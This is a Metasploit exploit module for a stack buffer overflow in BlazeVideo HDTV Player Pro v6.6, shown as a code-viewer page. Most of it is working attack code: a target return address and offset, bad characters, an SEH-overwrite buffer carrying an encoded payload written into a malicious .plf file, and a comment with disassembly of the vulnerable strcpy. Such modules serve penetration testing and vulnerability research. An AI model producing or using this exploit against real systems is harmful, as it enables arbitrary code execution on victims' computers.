Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb
32775 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::FILEFORMAT
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "BlazeVideo HDTV Player Pro v6.6 Filename Handling Vulnerability",
17
'Description' => %q{
18
This module exploits a vulnerability found in BlazeVideo HDTV Player's filename
19
handling routine. When supplying a string of input data embedded in a .plf file,
20
the MediaPlayerCtrl.dll component will try to extract a filename by using
21
PathFindFileNameA(), and then copies whatever the return value is on the stack by
22
using an inline strcpy. As a result, if this input data is long enough, it can cause
23
a stack-based buffer overflow, which may lead to arbitrary code execution under the
24
context of the user.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'b33f', # Original
29
'sinn3r' # Metasploit
30
],
31
'References' => [
32
['CVE', '2012-10031'],
33
['OSVDB', '80896'],
34
['EDB', '18693'],
35
['EDB', '22931']
36
],
37
'Payload' => {
38
'BadChars' => "\x00\x0a\x1a\x2f\x3a\x5c",
39
'StackAdjustment' => -3500
40
},
41
'DefaultOptions' => {
42
'EXITFUNC' => 'thread'
43
},
44
'Platform' => 'win',
45
'Targets' => [
46
# MediaPlayerCtrl.dll P/P/R
47
# Tested on: Windows 7 SP1/SP0, Windows XP SP3 / Windows Vista SP2/SP1/SP0
48
['BlazeVideo HDTV Player Pro v6.6.0.3', { 'Ret' => 0x64020327, 'Offset' => 868 }]
49
],
50
'Privileged' => false,
51
'DisclosureDate' => '2012-04-03',
52
'DefaultTarget' => 0,
53
'Notes' => {
54
'Reliability' => UNKNOWN_RELIABILITY,
55
'Stability' => UNKNOWN_STABILITY,
56
'SideEffects' => UNKNOWN_SIDE_EFFECTS
57
}
58
)
59
)
60
61
register_options(
62
[
63
OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf'])
64
]
65
)
66
end
67
68
def exploit
69
buf = 'http://'
70
buf << rand_text_alpha_upper(target['Offset'])
71
buf << generate_seh_record(target.ret)
72
buf << payload.encoded
73
buf << rand_text_alpha(5000 - buf.length)
74
75
print_status("Creating '#{datastore['FILENAME']}'...")
76
file_create(buf)
77
end
78
end
79
80
=begin
81
Version: HDTV Player Professional v6.6
82
83
In MediaPlayerCtrl.dll (File version: 2.0.0.2; Product version: 2.0.0.2)
84
.text:6400E574 mov eax, [esp+138h+Source]
85
.text:6400E578 mov edx, [ebp+0ECh]
86
.text:6400E57E push eax
87
.text:6400E57F push eax ; pszPath <-- Our URL
88
.text:6400E580 mov edi, [edx]
89
.text:6400E582 call ebx ; PathFindFileNameA
90
.text:6400E584 mov ecx, [ebp+0ECh]
91
.text:6400E58A push eax ; File path to copy
92
.text:6400E58B push esi
93
.text:6400E58C push 1
94
.text:6400E58E call dword ptr [edi] ; 0x6400f1f0
95
96
0x6400F1F0 (no length check either) goes down to 0x6400F670:
97
98
int __thiscall sub_6400F670(int this, int a2, int a3, const char *source, const char *a5)
99
{
100
...
101
102
v5 = this;
103
if ( a2 && source && a5 )
104
{
105
memset(&buffer, 0, '\x02\x10');
106
v16 = *(this + 4);
107
*(this + 4) = v16 + 1;
108
v18 = a3;
109
buffer = a2;
110
strcpy(&Dest2, source); // <-- This is a rep movs
111
=end
112
113